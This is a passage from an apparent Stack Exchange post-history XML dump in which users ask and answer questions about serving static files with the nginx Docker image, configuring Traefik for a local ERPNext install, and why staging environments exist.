&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Neither am I getting a welcome file from `nginx` as I'd expect.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/q/12752/23443" ContentLicense="CC BY-SA 4.0" />
  <row Id="39150" PostHistoryTypeId="1" PostId="12754" RevisionGUID="8ff10625-77c1-4318-aa37-f76c9c50784d" CreationDate="2020-11-14T01:32:55.370" UserId="23443" Text="How to navigate to an index.html with nginx?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39151" PostHistoryTypeId="3" PostId="12754" RevisionGUID="8ff10625-77c1-4318-aa37-f76c9c50784d" CreationDate="2020-11-14T01:32:55.370" UserId="23443" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;dockerfile&gt;&lt;nginx&gt;&lt;servers&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39152" PostHistoryTypeId="2" PostId="12755" RevisionGUID="40d4a9a1-c410-45b8-bbd6-11880d116d8e" CreationDate="2020-11-14T03:50:50.780" UserId="24726" Text="Did you only try to reach localhost? Or even 0.0.0.0 or 127.0.0.1?&#xD;&#xA;&#xD;&#xA;Depending on the operating system, docker config and the internal networking setup, some problem can occurs to reach the docker network.&#xD;&#xA;&#xD;&#xA;You can inspect the container to get the network IP, maybe you can go there https://stackoverflow.com/a/20686101/2904965" ContentLicense="CC BY-SA 4.0" />
  <row Id="39153" PostHistoryTypeId="2" PostId="12756" RevisionGUID="e18c4168-1463-4ae0-b633-b6f7ff2cade2" CreationDate="2020-11-14T04:03:29.280" UserId="24726" Text="```The docker build command builds Docker images from a Dockerfile and a “context”. A build’s context is the set of files located in the specified PATH or URL. The build process can refer to any of the files in the context. For example, your build can use a COPY instruction to reference a file in the context.```&#xD;&#xA;&#xD;&#xA;From [docker build](&#xD;&#xA;https://docs.docker.com/engine/reference/commandline/build/) documentation.&#xD;&#xA;&#xD;&#xA;As you run the docker build with the `.` path for the context, it will try to find the folder `home/nicholas/html` from the context `root@mordor:/home/nicholas/docker/nginx`&#xD;&#xA;&#xD;&#xA;The [COPY command](https://docs.docker.com/engine/reference/builder/#copy) documentation shows some examples &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39154" PostHistoryTypeId="2" PostId="12757" RevisionGUID="600a2a86-4f4b-45d4-addb-02c935422fd1" CreationDate="2020-11-14T04:35:30.693" UserId="23443" Text="How do I serve static content from the default `nginx` docker image?  Given:&#xD;&#xA;&#xD;&#xA;    root@mordor:~# &#xD;&#xA;    root@mordor:~# docker image ls nginx&#xD;&#xA;    REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE&#xD;&#xA;    nginx               latest              c39a868aad02        8 days ago          133MB&#xD;&#xA;    root@mordor:~# &#xD;&#xA;&#xD;&#xA;where and how can a hello world be configured?&#xD;&#xA;&#xD;&#xA;In the context of:&#xD;&#xA;&#xD;&#xA;https://askubuntu.com/q/1292182/847449&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39155" PostHistoryTypeId="1" PostId="12757" RevisionGUID="600a2a86-4f4b-45d4-addb-02c935422fd1" CreationDate="2020-11-14T04:35:30.693" UserId="23443" Text="How to serve a custom index.html using the stock nginx docker image?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39156" PostHistoryTypeId="3" PostId="12757" RevisionGUID="600a2a86-4f4b-45d4-addb-02c935422fd1" CreationDate="2020-11-14T04:35:30.693" UserId="23443" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;dockerfile&gt;&lt;nginx&gt;&lt;servers&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39157" PostHistoryTypeId="2" PostId="12758" RevisionGUID="90413288-286c-442c-871b-b947e4af465c" CreationDate="2020-11-14T04:36:41.913" UserId="23443" Text="&#xD;&#xA;&#xD;&#xA;running and copying files into the container:&#xD;&#xA;&#xD;&#xA;    root@mordor:~# &#xD;&#xA;    root@mordor:~# sudo docker run --name docker-nginx -p 80:80 -d nginx&#xD;&#xA;    29b4280504c2d46c10b8459de0844ba30bce0c1bc97b70521c3f812f29d17c27&#xD;&#xA;    root@mordor:~# &#xD;&#xA;    root@mordor:~# docker cp index.html docker-nginx:/indx.html&#xD;&#xA;    root@mordor:~# &#xD;&#xA;    root@mordor:~# docker exec -it docker-nginx bash&#xD;&#xA;    root@29b4280504c2:/# &#xD;&#xA;    root@29b4280504c2:/# ls&#xD;&#xA;    bin   dev		   docker-entrypoint.sh  home	    lib    media  opt	root  sbin  sys  usr&#xD;&#xA;    boot  docker-entrypoint.d  etc			 indx.html  lib64  mnt	  proc	run   srv   tmp  var&#xD;&#xA;    root@29b4280504c2:/# &#xD;&#xA;    root@29b4280504c2:/# cd /usr/share/nginx/html/&#xD;&#xA;    root@29b4280504c2:/usr/share/nginx/html# &#xD;&#xA;    root@29b4280504c2:/usr/share/nginx/html# ls&#xD;&#xA;    50x.html  index.html&#xD;&#xA;    root@29b4280504c2:/usr/share/nginx/html# &#xD;&#xA;    root@29b4280504c2:/usr/share/nginx/html# mv index.html index.html.bkup&#xD;&#xA;    root@29b4280504c2:/usr/share/nginx/html# &#xD;&#xA;    root@29b4280504c2:/usr/share/nginx/html# cp /indx.html ./index.html&#xD;&#xA;    root@29b4280504c2:/usr/share/nginx/html# &#xD;&#xA;    root@29b4280504c2:/usr/share/nginx/html# exit&#xD;&#xA;    exit&#xD;&#xA;    root@mordor:~# &#xD;&#xA;    root@mordor:~# docker container list&#xD;&#xA;    CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                NAMES&#xD;&#xA;    29b4280504c2        nginx               &quot;/docker-entrypoint.…&quot;   2 minutes ago       Up 2 minutes        0.0.0.0:80-&gt;80/tcp   docker-nginx&#xD;&#xA;    root@mordor:~# &#xD;&#xA;    root@mordor:~# docker stop docker-nginx&#xD;&#xA;    docker-nginx&#xD;&#xA;    root@mordor:~# &#xD;&#xA;    root@mordor:~# docker start docker-nginx&#xD;&#xA;    docker-nginx&#xD;&#xA;    root@mordor:~# &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;so that:    &#xD;&#xA;    &#xD;&#xA;    nicholas@mordor:~$ &#xD;&#xA;    nicholas@mordor:~$ lynx http://localhost/ --dump&#xD;&#xA;       hello nginx docker world&#xD;&#xA;    nicholas@mordor:~$ &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39158" PostHistoryTypeId="2" PostId="12759" RevisionGUID="672a433d-36c4-485f-a64f-955fdce9abf6" CreationDate="2020-11-14T06:59:03.547" UserId="6" Text="The &quot;official&quot; nginx image has a specific path where it looks for files. You can either copy a file into the image by creating a new image from it or mount your files into this path as a volume.&#xD;&#xA;&#xD;&#xA;To copy files, have a folder with your `index.html` and a `Dockerfile` that looks like this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;FROM nginx&#xD;&#xA;COPY index.html /usr/share/nginx/html&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Then build a new image with `docker build -t my-nginx .`&#xD;&#xA;&#xD;&#xA;To start a container with your own files as a volume, you can run the container like this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;docker run -p 8080:80 -v ${PWD}:/usr/share/nginx/html&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;All the files in your current folder (including the `index.html`) will not be available via `http://localhost:8080/index.html`.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Most of this information is covered in the documentation for the image at https://hub.docker.com/_/nginx" ContentLicense="CC BY-SA 4.0" />
  <row Id="39159" PostHistoryTypeId="2" PostId="12760" RevisionGUID="5cf9cc0d-71c9-4fb3-b318-a436e056e50f" CreationDate="2020-11-14T07:07:11.473" UserId="6" Text="According to your screen dump you have your port 80 mapped to the Traefik container&#xD;&#xA;&#xD;&#xA;`&#xD;&#xA;58cd5b59579c        traefik:v2.2                  &quot;/entrypoint.sh --lo…&quot;   16 minutes ago      Up 15 minutes       0.0.0.0:80-&gt;80/tcp, 0.0.0.0:443-&gt;443/tcp   frappe_docker_traefik_1&#xD;&#xA;`&#xD;&#xA;&#xD;&#xA;The listen address of this mapping is `0.0.0.0` on both port `80 HTTP`, and `443 HTTPS` which means it listens on all your computer interfaces. Including the local-loopback interface which has the address of `127.0.0.1`.&#xD;&#xA;&#xD;&#xA;Most operating systems have a file called `hosts` which is located at `/etc/hosts` for Linux, MacOS, BSD and at `C:\Windows\System32\drivers\etc\hosts` for Windows 10.&#xD;&#xA;&#xD;&#xA;This file maps the DNS names (such as `localhost`) to their IP addresses, like `127.0.0.1`.&#xD;&#xA;&#xD;&#xA;For you to have a working `FQDN`, you can temporarily create a new mapping in this file to map your desired name to the local-loopback address of 127.0.0.1.&#xD;&#xA;&#xD;&#xA;Edit the `hosts` file and add a line saying:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;127.0.0.1 erp.mordor.bounceme.net&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The applications that lookup that name later, such as `lynx`, will now know that `erp.mordor.bounceme.net` is located at `127.0.0.1` IP address. And your Docker Traefik container is listening there (as well) on ports `80` and `443`." ContentLicense="CC BY-SA 4.0" />
  <row Id="39160" PostHistoryTypeId="2" PostId="12761" RevisionGUID="dac0cd5b-f967-4b45-9e4f-7be449384c21" CreationDate="2020-11-14T07:20:41.607" UserId="6" Text="In the software industry, it is popular to have staging environments but in order to understand why it is important to understand the reasons why these environments exist in the first place.&#xD;&#xA;&#xD;&#xA;The production environment is where the company's software meets the company's users. Most companies want their users to be happy, and to receive high-quality software to use that meets their expectations.&#xD;&#xA;&#xD;&#xA;On the other hand, a development environment is where developers are creating the software. In most cases, the quality of this software when first created is far from good. Even great developers make mistakes from time to time, and they need some safety net to catch these problems so they can fix them.&#xD;&#xA;&#xD;&#xA;Improving software quality is an iterative process. Developers are tasks with constantly creating more and more changes, it is their job. These changes need to become high-quality, and the only way of doing that is to test the changes somewhere. This is where the QA, Staging, User Acceptance environments come in. These environments are where software can be checked and any problems caught before it is being put in front of customers.&#xD;&#xA;&#xD;&#xA;All of the above describes how having multiple environments is used to reduce the risk of bad code in production, while at the same time allowing developers to have a place where they can make mistakes safely and fix these.&#xD;&#xA;&#xD;&#xA;Many companies have additional rules that make it practical to have multiple environments. For example, having a tradition to release software on a &quot;special date&quot; for everyone to use as Apple does. They still have beta testers and other testing happening before this release - which can be considered a staging or user-acceptance environment.&#xD;&#xA;&#xD;&#xA;In some industries which are heavily regulated, there are restrictions on who can have access to the &quot;production environment&quot;. In many cases only designated people are allowed to touch these environments because of security and legal concerns. Where in such a company there are hundreds of other developers who are not designated, they need some place to integrated and test their code - the staging environment is less strict regarding who is allowed to change things in the environment." ContentLicense="CC BY-SA 4.0" />
  <row Id="39161" PostHistoryTypeId="2" PostId="12762" RevisionGUID="a8b7c3e4-9913-429a-9abe-d6de1bfb5a6f" CreationDate="2020-11-14T07:22:03.143" UserId="23443" Text="&#xD;&#xA;I'm not fully [understanding][1] the configuration for running `ERPnext` locally rather than, for [example][2], on a `VPS`.&#xD;&#xA;&#xD;&#xA;    root@mordor:/home/nicholas/git/frappe_docker# &#xD;&#xA;    root@mordor:/home/nicholas/git/frappe_docker# ls -alh&#xD;&#xA;    total 120K&#xD;&#xA;    drwxrwxr-x 11 nicholas nicholas 4.0K Nov 13 23:09 .&#xD;&#xA;    drwxrwxr-x  5 nicholas nicholas 4.0K Nov 13 15:52 ..&#xD;&#xA;    drwxrwxr-x  9 nicholas nicholas 4.0K Nov 13 14:10 build&#xD;&#xA;    -rw-rw-r--  1 nicholas nicholas 3.3K Nov 13 14:10 CODE_OF_CONDUCT.md&#xD;&#xA;    -rw-rw-r--  1 nicholas nicholas 1.5K Nov 13 14:10 CONTRIBUTING.md&#xD;&#xA;    -rw-rw-r--  1 nicholas nicholas 3.3K Nov 13 14:10 deploy_key.enc&#xD;&#xA;    drwxrwxr-x  2 nicholas nicholas 4.0K Nov 13 14:10 devcontainer-example&#xD;&#xA;    drwxrwxr-x  3 nicholas nicholas 4.0K Nov 13 14:10 development&#xD;&#xA;    -rw-rw-r--  1 nicholas nicholas 4.4K Nov 13 14:10 docker-compose.yml&#xD;&#xA;    -rw-rw-r--  1 nicholas nicholas   93 Nov 13 14:10 .dockerignore&#xD;&#xA;    drwxrwxr-x  2 nicholas nicholas 4.0K Nov 13 14:10 docs&#xD;&#xA;    -rw-rw-r--  1 nicholas nicholas  609 Nov 13 23:09 .env&#xD;&#xA;    -rw-rw-r--  1 nicholas nicholas  155 Nov 13 14:10 env-example&#xD;&#xA;    -rw-rw-r--  1 nicholas nicholas  605 Nov 13 14:10 env-local&#xD;&#xA;    -rw-rw-r--  1 nicholas nicholas  768 Nov 13 14:10 env-production&#xD;&#xA;    -rwxrwxr-x  1 nicholas nicholas 7.6K Nov 13 14:10 frappe-installer&#xD;&#xA;    drwxrwxr-x  8 nicholas nicholas 4.0K Nov 13 14:10 .git&#xD;&#xA;    drwxrwxr-x  4 nicholas nicholas 4.0K Nov 13 14:10 .github&#xD;&#xA;    -rw-rw-r--  1 nicholas nicholas  188 Nov 13 14:10 .gitignore&#xD;&#xA;    -rw-rw-r--  1 nicholas nicholas  606 Nov 13 14:10 greetings.yml&#xD;&#xA;    drwxrwxr-x  3 nicholas nicholas 4.0K Nov 13 14:10 installation&#xD;&#xA;    -rw-rw-r--  1 nicholas nicholas 1.1K Nov 13 14:10 LICENSE.md&#xD;&#xA;    -rw-rw-r--  1 nicholas nicholas 2.4K Nov 13 14:10 README.md&#xD;&#xA;    drwxrwxr-x  2 nicholas nicholas 4.0K Nov 13 14:10 tests&#xD;&#xA;    -rwxrwxr-x  1 nicholas nicholas 3.0K Nov 13 14:10 travis.py&#xD;&#xA;    -rw-rw-r--  1 nicholas nicholas 8.0K Nov 13 14:10 .travis.yml&#xD;&#xA;    drwxrwxr-x  2 nicholas nicholas 4.0K Nov 13 14:10 .vscode&#xD;&#xA;    root@mordor:/home/nicholas/git/frappe_docker# &#xD;&#xA;    root@mordor:/home/nicholas/git/frappe_docker# cat .env &#xD;&#xA;    LETSENCRYPT_EMAIL=saunders.nicholas@gmail.com&#xD;&#xA;    ERPNEXT_VERSION=edge&#xD;&#xA;    FRAPPE_VERSION=edge&#xD;&#xA;    MARIADB_HOST=mariadb&#xD;&#xA;    MYSQL_ROOT_PASSWORD=admin&#xD;&#xA;    SITE_NAME=erpnext-nginx&#xD;&#xA;    SITES=`erpnext-nginx`&#xD;&#xA;    DB_ROOT_USER=root&#xD;&#xA;    ADMIN_PASSWORD=admin&#xD;&#xA;    INSTALL_APPS=erpnext&#xD;&#xA;    ENTRYPOINT_LABEL=traefik.http.routers.erpnext-nginx.entrypoints=web&#xD;&#xA;    CERT_RESOLVER_LABEL=erpnext.local.no-cert-resolver&#xD;&#xA;    HTTPS_REDIRECT_RULE_LABEL=erpnext.local.no-redirect-rule&#xD;&#xA;    HTTPS_REDIRECT_ENTRYPOINT_LABEL=erpnext.local.no-entrypoint&#xD;&#xA;    HTTPS_REDIRECT_MIDDLEWARE_LABEL=erpnext.local.no-middleware&#xD;&#xA;    HTTPS_USE_REDIRECT_MIDDLEWARE_LABEL=erpnext.local-no-redirect-middleware&#xD;&#xA;    root@mordor:/home/nicholas/git/frappe_docker# &#xD;&#xA;    root@mordor:/home/nicholas/git/frappe_docker# docker-compose --project-name erp up -d&#xD;&#xA;    Creating erp_redis-socketio_1 ... done&#xD;&#xA;    Creating erp_erpnext-python_1  ... done&#xD;&#xA;    Creating erp_redis-queue_1     ... done&#xD;&#xA;    Creating erp_redis-cache_1     ... done&#xD;&#xA;    Creating erp_mariadb_1         ... done&#xD;&#xA;    Creating erp_traefik_1         ... done&#xD;&#xA;    Creating erp_erpnext-nginx_1   ... done&#xD;&#xA;    Creating erp_frappe-socketio_1        ... done&#xD;&#xA;    Creating erp_site-creator_1           ... done&#xD;&#xA;    Creating erp_erpnext-worker-default_1 ... done&#xD;&#xA;    Creating erp_erpnext-worker-long_1    ... done&#xD;&#xA;    Creating erp_erpnext-schedule_1       ... done&#xD;&#xA;    Creating erp_erpnext-worker-short_1   ... done&#xD;&#xA;    root@mordor:/home/nicholas/git/frappe_docker# &#xD;&#xA;    root@mordor:/home/nicholas/git/frappe_docker# docker container ls&#xD;&#xA;    CONTAINER ID        IMAGE                         COMMAND                  CREATED             STATUS              PORTS                                      NAMES&#xD;&#xA;    3e8e6ff4fa02        frappe/erpnext-worker:edge    &quot;docker-entrypoint.s…&quot;   42 seconds ago      Up 33 seconds       8000/tcp                                   erp_erpnext-schedule_1&#xD;&#xA;    0b2185b2eec3        frappe/erpnext-worker:edge    &quot;docker-entrypoint.s…&quot;   42 seconds ago      Up 32 seconds       8000/tcp                                   erp_erpnext-worker-short_1&#xD;&#xA;    e1db66cdfa52        frappe/erpnext-worker:edge    &quot;docker-entrypoint.s…&quot;   42 seconds ago      Up 30 seconds       8000/tcp                                   erp_erpnext-worker-long_1&#xD;&#xA;    3835ad9f071a        frappe/erpnext-worker:edge    &quot;docker-entrypoint.s…&quot;   42 seconds ago      Up 31 seconds       8000/tcp                                   erp_erpnext-worker-default_1&#xD;&#xA;    4ef8176e1018        frappe/frappe-socketio:edge   &quot;docker-entrypoint.s…&quot;   50 seconds ago      Up 38 seconds                                                  erp_frappe-socketio_1&#xD;&#xA;    1c8b90156506        frappe/erpnext-nginx:edge     &quot;/docker-entrypoint.…&quot;   54 seconds ago      Up 22 seconds       80/tcp                                     erp_erpnext-nginx_1&#xD;&#xA;    35628100ad8c        redis:latest                  &quot;docker-entrypoint.s…&quot;   54 seconds ago      Up 45 seconds       6379/tcp                                   erp_redis-queue_1&#xD;&#xA;    e5b916de16c2        traefik:v2.2                  &quot;/entrypoint.sh --lo…&quot;   54 seconds ago      Up 50 seconds       0.0.0.0:80-&gt;80/tcp, 0.0.0.0:443-&gt;443/tcp   erp_traefik_1&#xD;&#xA;    ab3e5200d004        mariadb:10.3                  &quot;docker-entrypoint.s…&quot;   55 seconds ago      Up 43 seconds       3306/tcp                                   erp_mariadb_1&#xD;&#xA;    a747fc468e9f        redis:latest                  &quot;docker-entrypoint.s…&quot;   55 seconds ago      Up 42 seconds       6379/tcp                                   erp_redis-cache_1&#xD;&#xA;    8579ea9e4e9d        redis:latest                  &quot;docker-entrypoint.s…&quot;   55 seconds ago      Up 50 seconds       6379/tcp                                   erp_redis-socketio_1&#xD;&#xA;    b4c0ad3bac2e        frappe/erpnext-worker:edge    &quot;docker-entrypoint.s…&quot;   55 seconds ago      Up 48 seconds       8000/tcp                                   erp_erpnext-python_1&#xD;&#xA;    root@mordor:/home/nicholas/git/frappe_docker# &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;here's a before and after:&#xD;&#xA;    &#xD;&#xA;    nicholas@mordor:~$ &#xD;&#xA;    nicholas@mordor:~$ lynx http://localhost/ --dump&#xD;&#xA;    &#xD;&#xA;    Looking up localhost&#xD;&#xA;    Making HTTP connection to localhost&#xD;&#xA;    Alert!: Unable to connect to remote host.&#xD;&#xA;    &#xD;&#xA;    lynx: Can't access startfile http://localhost/&#xD;&#xA;    nicholas@mordor:~$ &#xD;&#xA;    nicholas@mordor:~$ lynx http://localhost/ --dump&#xD;&#xA;    404 page not found&#xD;&#xA;    &#xD;&#xA;    nicholas@mordor:~$ &#xD;&#xA;    nicholas@mordor:~$ cat /etc/hosts&#xD;&#xA;    127.0.0.1	localhost&#xD;&#xA;    127.0.1.1	mordor.saundersconsulting.tech	mordor mordor.bounceme.net erp.mordor.bounceme.net&#xD;&#xA;    &#xD;&#xA;    # The following lines are desirable for IPv6 capable hosts&#xD;&#xA;    ::1     ip6-localhost ip6-loopback&#xD;&#xA;    fe00::0 ip6-localnet&#xD;&#xA;    ff00::0 ip6-mcastprefix&#xD;&#xA;    ff02::1 ip6-allnodes&#xD;&#xA;    ff02::2 ip6-allrouters&#xD;&#xA;    nicholas@mordor:~$ &#xD;&#xA;&#xD;&#xA;showing that at least a `404` is being generated, and showing the `hosts` file.&#xD;&#xA;&#xD;&#xA;Specifically looking at step one of the apparent solution:&#xD;&#xA;&#xD;&#xA;      - &quot;traefik.http.routers.erpnext-nginx.rule=HostRegexp(`{catchall:.*}`)&quot;&#xD;&#xA;      - &quot;traefik.http.middlewares.erpnext-nginx.headers.customrequestheaders.Host=erpnext-nginx&quot;&#xD;&#xA;      - &quot;traefik.http.routers.erpnext-nginx.middlewares=erpnext-nginx&quot;&#xD;&#xA;&#xD;&#xA;how and where is this accomplished?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://serverfault.com/q/1032653/579182&#xD;&#xA;  [2]: https://webmasters.stackexchange.com/q/132154/114967&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39162" PostHistoryTypeId="1" PostId="12762" RevisionGUID="a8b7c3e4-9913-429a-9abe-d6de1bfb5a6f" CreationDate="2020-11-14T07:22:03.143" UserId="23443" Text="what is the Traefik configuration for running ERPnext locally?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39163" PostHistoryTypeId="3" PostId="12762" RevisionGUID="a8b7c3e4-9913-429a-9abe-d6de1bfb5a6f" CreationDate="2020-11-14T07:22:03.143" UserId="23443" Text="&lt;docker&gt;&lt;nginx&gt;&lt;dns&gt;&lt;environment-variables&gt;&lt;traefik&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39164" PostHistoryTypeId="2" PostId="12763" RevisionGUID="63658fbc-2757-4d0c-b3d6-6f1f0f15bf8a" CreationDate="2020-11-14T08:40:24.763" UserId="24726" Text="Well that's a legit question IMHO, but there are multiple way of doing things (and no one is worth than other).&#xD;&#xA;&#xD;&#xA;## 1- Everything from dev to prod at the same place&#xD;&#xA;&#xD;&#xA;If you want to grab everything from dev to production in a single project, it's possible, but you cannot build the docker image from hell command.&#xD;&#xA;&#xD;&#xA;Helm is only here to organize, use template in yaml and sync releases following kubernetes file structure.&#xD;&#xA;&#xD;&#xA;You can follows [helm repository structure](https://v2.helm.sh/docs/developing_charts/#the-chart-file-structure) and add other scripts, but *you have to execute steps in the right order*: build, push, deploy&#xD;&#xA; &#xD;&#xA;## 2- The &quot;regular&quot; way to do&#xD;&#xA;&#xD;&#xA;I more often saw a separation of production configuration files and application files.&#xD;&#xA;&#xD;&#xA;What I do is:&#xD;&#xA;1. One repository which carry my application source code + everything for the CI (test, build, docker file)&#xD;&#xA;2. One repository which carry my helm.charts for all my infrastructure.&#xD;&#xA;&#xD;&#xA;Choose what suits the best for you, but keep in mind that helm is a templating system for kubernetes yaml files, so *it will not build the docker image*.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39165" PostHistoryTypeId="5" PostId="12761" RevisionGUID="e8965f22-ca3d-4519-801e-cb574aab88e9" CreationDate="2020-11-14T12:54:03.817" UserId="6" Comment="typo" Text="In the software industry, it is popular to have staging environments but in order to understand why it is important to understand the reasons why these environments exist in the first place.&#xD;&#xA;&#xD;&#xA;The production environment is where the company's software meets the company's users. Most companies want their users to be happy, and to receive high-quality software to use that meets their expectations.&#xD;&#xA;&#xD;&#xA;On the other hand, a development environment is where developers are creating the software. In most cases, the quality of this software when first created is far from good. Even great developers make mistakes from time to time, and they need some safety net to catch these problems so they can fix them.&#xD;&#xA;&#xD;&#xA;Improving software quality is an iterative process. Developers are tasked with constantly creating more and more changes, it is their job. These changes need to become high-quality, and the only way of doing that is to test the changes somewhere until all the wrinkles are polished. This is where the QA, Staging, User Acceptance environments come in. These environments are where software can be checked and any problems caught before it is being put in front of customers.&#xD;&#xA;&#xD;&#xA;All of the above describes how having multiple environments is used to reduce the risk of bad code in production, while at the same time allowing developers to have a place where they can make mistakes safely and fix these.&#xD;&#xA;&#xD;&#xA;Many companies have additional rules that make it practical to have multiple environments. For example, having a tradition to release software on a &quot;special date&quot; for everyone to use as Apple does. They still have beta testers and other testing happening before this release - which can be considered a staging or user-acceptance environment.&#xD;&#xA;&#xD;&#xA;In some industries which are heavily regulated, there are restrictions on who can have access to the &quot;production environment&quot;. In many cases only designated people are allowed to touch these environments because of security and legal concerns. Where in such a company there are hundreds of other developers who are not designated, they need someplace to integrated and test their code - the staging environment is less strict regarding who is allowed to change things in the environment." ContentLicense="CC BY-SA 4.0" />
  <row Id="39166" PostHistoryTypeId="5" PostId="12759" RevisionGUID="1f6b583d-39fe-449c-8e9b-a8ef5d9d9595" CreationDate="2020-11-14T13:04:42.693" UserId="6" Comment="added 6 characters in body" Text="The &quot;official&quot; nginx image has a specific path where it looks for files. You can either copy a file into the image by creating a new image from it or mount your files into this path as a volume.&#xD;&#xA;&#xD;&#xA;To copy files, have a folder with your `index.html` and a `Dockerfile` that looks like this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;FROM nginx&#xD;&#xA;COPY index.html /usr/share/nginx/html&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Then build a new image with `docker build -t my-nginx .`&#xD;&#xA;&#xD;&#xA;To start a container with your own files as a volume, you can run the container like this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;docker run -p 8080:80 -v ${PWD}:/usr/share/nginx/html nginx&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;All the files in your current folder (including the `index.html`) will not be available via `http://localhost:8080/index.html`.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Most of this information is covered in the documentation for the image at https://hub.docker.com/_/nginx" ContentLicense="CC BY-SA 4.0" />
  <row Id="39167" PostHistoryTypeId="50" PostId="12579" RevisionGUID="8978d8f7-e578-4890-8119-60292355309c" CreationDate="2020-11-14T16:02:05.130" UserId="-1" />
  <row Id="39168" PostHistoryTypeId="50" PostId="12530" RevisionGUID="ee53826f-64f0-46ee-9080-04c61a3fb12b" CreationDate="2020-11-14T21:04:30.480" UserId="-1" />
  <row Id="39169" PostHistoryTypeId="2" PostId="12764" RevisionGUID="a3c2bcdd-a2e6-4484-bd1d-cf0aa412e897" CreationDate="2020-11-15T01:09:30.567" UserId="24734" Text="I have asked this question at [official Traefik Community Forum](https://community.traefik.io/t/docker-traefik-prometheus-grafana-stack-doesnt-create-traefik-container-upon-service-deploy/8573) and I have not received any replies there yet so I am hoping I have better luck here :) &#xD;&#xA;&#xD;&#xA;I am trying to run a traefik-grafana-prometheus stack in my docker swarm node but for some reason my error logs are empty. I was able to grep and tail the docker service logs on my Ubuntu 20.04LTS and able to get some info.&#xD;&#xA;I followed instructions from here for installing:&#xD;&#xA;https://github.com/vegasbrianc/docker-traefik-prometheus&#xD;&#xA;&#xD;&#xA;Any help would be greatly appreciated. :D&#xD;&#xA;&#xD;&#xA;docker-traefik-letsencrypt docker-compose.yml (traefik working with minimal errors)&#xD;&#xA;```&#xD;&#xA;version: '3.7'&#xD;&#xA;&#xD;&#xA;services:&#xD;&#xA;&#xD;&#xA;  traefik:&#xD;&#xA;    image: traefik:2.3.2&#xD;&#xA;    ports:&#xD;&#xA;      #- &quot;80:80&quot;&#xD;&#xA;      #- &quot;443:443&quot;&#xD;&#xA;      - target: 80&#xD;&#xA;        published: 80&#xD;&#xA;        mode: host&#xD;&#xA;      - target: 443&#xD;&#xA;        published: 443&#xD;&#xA;        mode : host &#xD;&#xA;    deploy:&#xD;&#xA;      resources:&#xD;&#xA;        limits:&#xD;&#xA;          cpus: '0.50'&#xD;&#xA;          memory: 512M&#xD;&#xA;        reservations:&#xD;&#xA;          cpus: '0.25'&#xD;&#xA;          memory: 256M&#xD;&#xA;      placement:&#xD;&#xA;        constraints:&#xD;&#xA;          # Make the traefik service run only on the node with this label&#xD;&#xA;          # as the node with it has the volume for the certificates&#xD;&#xA;          - node.labels.reverse-proxy.reverse-proxy-certificates == true&#xD;&#xA;          - node.role == manager&#xD;&#xA;      labels:&#xD;&#xA;        - constraint-label=reverse-proxy&#xD;&#xA;        - traefik.enable=true&#xD;&#xA;        - traefik.docker.network=reverse-proxy&#xD;&#xA;        #- traefik.http.middlewares.admin-auth.basicauth.users=${USERNAME}:${HASHED_PASSWORD}&#xD;&#xA;        - traefik.http.middlewares.admin-auth.basicauth.users=admin:$$apr1$$8rWpRRHx$$xSzTeoNckKYO/umQnKso91&#xD;&#xA;        - traefik.http.routers.reverse-proxy-https.rule=Host(`traefik.whiskeyonthe.rocks`)&#xD;&#xA;        - traefik.http.routers.reverse-proxy-https.entrypoints=web,web-secure&#xD;&#xA;        - traefik.http.routers.reverse-proxy-https.tls=true&#xD;&#xA;        - traefik.http.routers.reverse-proxy-https.service=api@internal&#xD;&#xA;        - traefik.http.routers.reverse-proxy-https.tls.certresolver=le&#xD;&#xA;        - traefik.http.routers.reverse-proxy-https.middlewares=admin-auth&#xD;&#xA;        - traefik.http.routers.reverse-proxy.tls.domains[0].main=whiskeyonthe.rocks&#xD;&#xA;        - traefik.http.routers.reverse-proxy.tls.domains[0].sans=*.whiskeyonthe.rocks&#xD;&#xA;      &#xD;&#xA;        - traefik.http.services.reverse-proxy.loadbalancer.server.port=8080&#xD;&#xA;&#xD;&#xA;    volumes:&#xD;&#xA;      # Add Docker as a mounted volume, so that Traefik can read the labels of other services&#xD;&#xA;      - &quot;/var/run/docker.sock:/var/run/docker.sock:ro&quot;&#xD;&#xA;      # Mount the volume to store the certificates&#xD;&#xA;      - &quot;/srv/traefik.whiskeyonthe.rocks/certs:/certificates&quot;&#xD;&#xA;      - &quot;/srv/traefik.whiskeyonthe.rocks/letsencrypt:/letsencrypt&quot;&#xD;&#xA;      #- &quot;reverse-proxy-certificates:/certificates&quot;&#xD;&#xA;      #- &quot;reverse-proxy-certificates:/letsencrypt&quot;&#xD;&#xA;    command:&#xD;&#xA;      - --accesslog&#xD;&#xA;      - 